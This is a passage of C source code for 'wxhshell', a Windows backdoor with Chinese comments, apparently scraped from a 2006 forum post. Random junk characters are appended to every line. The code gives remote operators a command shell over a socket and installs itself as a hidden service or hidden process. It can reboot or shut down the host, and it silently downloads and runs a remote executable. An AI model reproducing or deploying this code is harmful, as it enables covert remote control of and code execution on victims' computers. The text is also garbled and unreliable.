  ):>?N`{V  
  // 帮助 7afG4 (<k  
  case '?': { 9|<Li[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I1':&l^O  
    break; Ly8=SIZ   
  } e_Hpai<b  
  // 安装 L5 `k3ap|  
  case 'i': { $%DoLpE>  
    if(Install()) %\48hSe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (BPp2^  
    else $zCCeRP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B3&C&o.h  
    break; ef '?O  
    } .W~XX  
  // 卸载 ,NZllnW  
  case 'r': { h'&<A_C-7  
    if(Uninstall()) mm +V*L{x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "i#g [x  
    else tkHmH/'7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }W:Z>vam+  
    break; zCo$YP#5_  
    } vFdI?(c-  
  // 显示 wxhshell 所在路径 iZfZF  
  case 'p': { 1T|")D  
    char svExeFile[MAX_PATH]; pp(09y`]  
    strcpy(svExeFile,"\n\r"); GNv{ Ij<  
      strcat(svExeFile,ExeFile); %<DdX*Qp  
        send(wsh,svExeFile,strlen(svExeFile),0); r&a} U6k(y  
    break; KO8{eT9d  
    } #6|ve?`I  
  // 重启 fn 'n'X|  
  case 'b': { ;E 9o%f:o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mo N/?VA  
    if(Boot(REBOOT)) cKkH*0B5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .qohHJ&  
    else { q7KHx b  
    closesocket(wsh); ),`jMd1`  
    ExitThread(0); 9HFEp-"  
    } R7(XDX=[ s  
    break; kZ@UQ{>`  
    } ej_u):G*  
  // 关机  \8C<nh  
  case 'd': { Rl cL(HM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _ s}aF  
    if(Boot(SHUTDOWN)) -j<E_!t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D>{`I'  
    else { qB_s<cpn>  
    closesocket(wsh); v=G*K11@  
    ExitThread(0); 7P3/Ky@6  
    } SW}Rkr\e  
    break; RYvcuA)  
    } R- >~MLeK]  
  // 获取shell 9O&gR46.  
  case 's': { &@@PJ!&  
    CmdShell(wsh);  o%j?}J7y  
    closesocket(wsh); m,kYE9 {  
    ExitThread(0); VOr: G85*s  
    break; OHAU@*[lM  
  } OT$ Ne  
  // 退出 | X1axRO  
  case 'x': { :I&y@@UG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +p>h` fc  
    CloseIt(wsh); hx@@[sKF7  
    break; |$IL:W6  
    } <ivG(a*=]  
  // 离开 %pxJ27Q  
  case 'q': {  yI|x 5f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L / PAC  
    closesocket(wsh); Zl9  
    WSACleanup(); -`Z!p  
    exit(1); z0\ $# r^I  
    break; khR[8j..  
        } +UOVD:G  
  } Bt")RG  
  } c oZK  
*%jtcno=Y  
  // 提示信息 9xJtDdy-O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1O0)+9T82  
} b/oNQQM#Dk  
  } Ppl :_Of  
p9G+la~;VM  
  return; RgH 6l2  
} o8:9Y js  
(FGy"o%TP'  
// shell模块句柄 ?m 5"|f\  
int CmdShell(SOCKET sock) $FT6c@&y  
{ l%Ke>9C  
STARTUPINFO si; 8q]"CFpa  
ZeroMemory(&si,sizeof(si)); v]@ XyF\j8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ex~"M&^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hFycSu  
PROCESS_INFORMATION ProcessInfo; D0bpD  
char cmdline[]="cmd"; X)j%v\#`U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I8@leT\9M  
  return 0; fO5L[U^`  
} 5ad@}7&  
l{3zlXk3z  
// 自身启动模式 G2n. NW#d4  
int StartFromService(void) Q: -&  
{ 80%"2kG  
typedef struct E*T6kp^b  
{ R(_WTs9x4  
  DWORD ExitStatus; QYDI-<.(  
  DWORD PebBaseAddress; yRQ1Szbjli  
  DWORD AffinityMask; $ SA @ "  
  DWORD BasePriority; 5IzCQqOPgX  
  ULONG UniqueProcessId; Lf a&JKd  
  ULONG InheritedFromUniqueProcessId; 1xkk5\3]  
}   PROCESS_BASIC_INFORMATION; r&v!2A]:  
{_4Hsw?s6  
PROCNTQSIP NtQueryInformationProcess; t6e6v=.Pg  
@HI@PZ>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]o'dr r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 01 +#2~S  
)Mflt0fp  
  HANDLE             hProcess; {='wGx  
  PROCESS_BASIC_INFORMATION pbi; &l`_D?{<#  
w0yzC0yBk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <ldArZ4C4  
  if(NULL == hInst ) return 0; 07(LLhk@d  
Fm&f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YGyw^$.w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XF3lS#pt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0#8lg@e8  
sy(bL _%  
  if (!NtQueryInformationProcess) return 0; 8&+u+@H  
Y nTx)uW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SFP?ND+7  
  if(!hProcess) return 0; qgWsf-di=  
h3\(660>$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WqCER^~'>  
/ a}N6KUi  
  CloseHandle(hProcess); g[ @Q iy  
d[;&2Jz*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $K\;sn; |:  
if(hProcess==NULL) return 0; mMu+MXTk<  
$Mx?Y9!  
HMODULE hMod; Kp;<z<  
char procName[255]; -0CL#RzKR  
unsigned long cbNeeded; 7<8'7<X  
a9 S&n5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HyQ(9cn |  
6|6O| <o  
  CloseHandle(hProcess); CRzLyiRvU&  
pZc`!f"  
if(strstr(procName,"services")) return 1; // 以服务启动 t08[3Q&  
|`I9K#w3  
  return 0; // 注册表启动 Z\1`(Pq7`  
} #H8QX5b)  
_39VL  
// 主模块 s9u7zqCF  
int StartWxhshell(LPSTR lpCmdLine) Z#;\Rb.x7  
{ ^@'zQa  
  SOCKET wsl; dleLX%P  
BOOL val=TRUE; 7{rRQ~s&g9  
  int port=0; "zIQ(|TL?d  
  struct sockaddr_in door; !0X"^VB  
Kt"4<'  
  if(wscfg.ws_autoins) Install(); _Mh..#)`[  
$nf %<Q  
port=atoi(lpCmdLine); z3fU|*_c  
ZGd7e.u=  
if(port<=0) port=wscfg.ws_port; ^h<ElK  
Zc9S[ivq  
  WSADATA data; c-?0~A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xaIe7.Z"xo  
PB{5C*Y7^k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gX5.u9%C\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @]],H0  
  door.sin_family = AF_INET; LA,G>#?H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _oU~S$hO  
  door.sin_port = htons(port); $A:?o?"7}  
5XNFu C9E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o-AAx#@  
closesocket(wsl); AeW_W0j  
return 1; BQ!_i*14+  
} vrsOA@ee3H  
!8J%%Ux&M  
  if(listen(wsl,2) == INVALID_SOCKET) { [lj^lN8  
closesocket(wsl); "Z a}p|Ct  
return 1; ~</H>Jd  
} dM5N1$1,  
  Wxhshell(wsl); )x&>Cf<,  
  WSACleanup(); pH?"@  
4?7OP t6  
return 0; k8ymOx  
cvnRd.&  
} Biy$p6  
Zu^J X/um  
// 以NT服务方式启动 }RkD7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]~m2#g%  
{ onUF@3V  
DWORD   status = 0; g _u  
  DWORD   specificError = 0xfffffff; TSP#.QY  
H|B4.z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H:L<gv(rG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +dK;\wT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N1z:9=(I  
  serviceStatus.dwWin32ExitCode     = 0; PPj0LFA  
  serviceStatus.dwServiceSpecificExitCode = 0; 7cT ~u  
  serviceStatus.dwCheckPoint       = 0; JVNp= ikK  
  serviceStatus.dwWaitHint       = 0; f!##R-A  
5!d'RBO   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g h&,U`  
  if (hServiceStatusHandle==0) return; }JBLzk5|  
t9m08K:Y  
status = GetLastError(); g=n /w  
  if (status!=NO_ERROR) =(>pv,  
{ !5[5l!{x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [5Pin>]z  
    serviceStatus.dwCheckPoint       = 0; 6 VuMx7W1  
    serviceStatus.dwWaitHint       = 0; RE75TqYW  
    serviceStatus.dwWin32ExitCode     = status; 8Ir = @  
    serviceStatus.dwServiceSpecificExitCode = specificError; \TXCq@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A<s9c=d6  
    return; yj C@  
  } 0:4w@"Q  
$n@B:kv5p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "iTi+UZxe  
  serviceStatus.dwCheckPoint       = 0; $|bdeQPr\  
  serviceStatus.dwWaitHint       = 0; 924a1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]B r 6!U4~  
} d;O4)8 >  
c0u1L@tj  
// 处理NT服务事件,比如:启动、停止 0P_3%   
VOID WINAPI NTServiceHandler(DWORD fdwControl) $fl+l5?9  
{ H^C$2f  
switch(fdwControl) $^j#z^7  
{ U/3 <p8  
case SERVICE_CONTROL_STOP: lcYjwA  
  serviceStatus.dwWin32ExitCode = 0; @fG 'X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z1ZjQt#~+  
  serviceStatus.dwCheckPoint   = 0; eJwHeG  
  serviceStatus.dwWaitHint     = 0; wxSJ  
  { <m X EX`?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?."YP[;  
  } d/Y#oVI  
  return; Y ]6kA5  
case SERVICE_CONTROL_PAUSE: C4^o= 6{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G2BB]] m3  
  break; #1oyRD-  
case SERVICE_CONTROL_CONTINUE: %d"d<pvx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1'"TO5  
  break; NANgV~Y&  
case SERVICE_CONTROL_INTERROGATE: tzV^.QWm  
  break; K)[DA*W  
}; Iu|4QE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '$\O*e'  
} &Y3 r'"  
oK#UEn  
// 标准应用程序主函数 >#~>!cv6D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0l+[[ZTV  
{ ?0J&U4  
!rZ r:@  
// 获取操作系统版本 ee\QK,QV  
OsIsNt=GetOsVer(); NY3.?@Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Jwt_d }ns  
'K*. ?M  
  // 从命令行安装 V Bv|7S  
  if(strpbrk(lpCmdLine,"iI")) Install(); %v)O!HC}  
&-zW1wf  
  // 下载执行文件 $1}Y4>3  
if(wscfg.ws_downexe) { g`\5!R1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !M@jW[s  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5-?*Boi>i  
} Q"F" 13  
<`'T#e$  
if(!OsIsNt) { HP2J`>oo  
// 如果时win9x,隐藏进程并且设置为注册表启动 [D_s`'tg  
HideProc(); Fv$oXg/  
StartWxhshell(lpCmdLine); ;fe~PPT  
} Gw-y6e'|Y  
else 34<k)0sO  
  if(StartFromService()) p!>DA?vF  
  // 以服务方式启动 "el}9OitC  
  StartServiceCtrlDispatcher(DispatchTable); PT39VI =  
else A"i $.dR{  
  // 普通方式启动 Q4ZKgcC  
  StartWxhshell(lpCmdLine); Kw=][}d`D  
,s`4k?y  
return 0; ]8f$&gw&A  
}
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只看该作者 1 发表于: 2006-10-10
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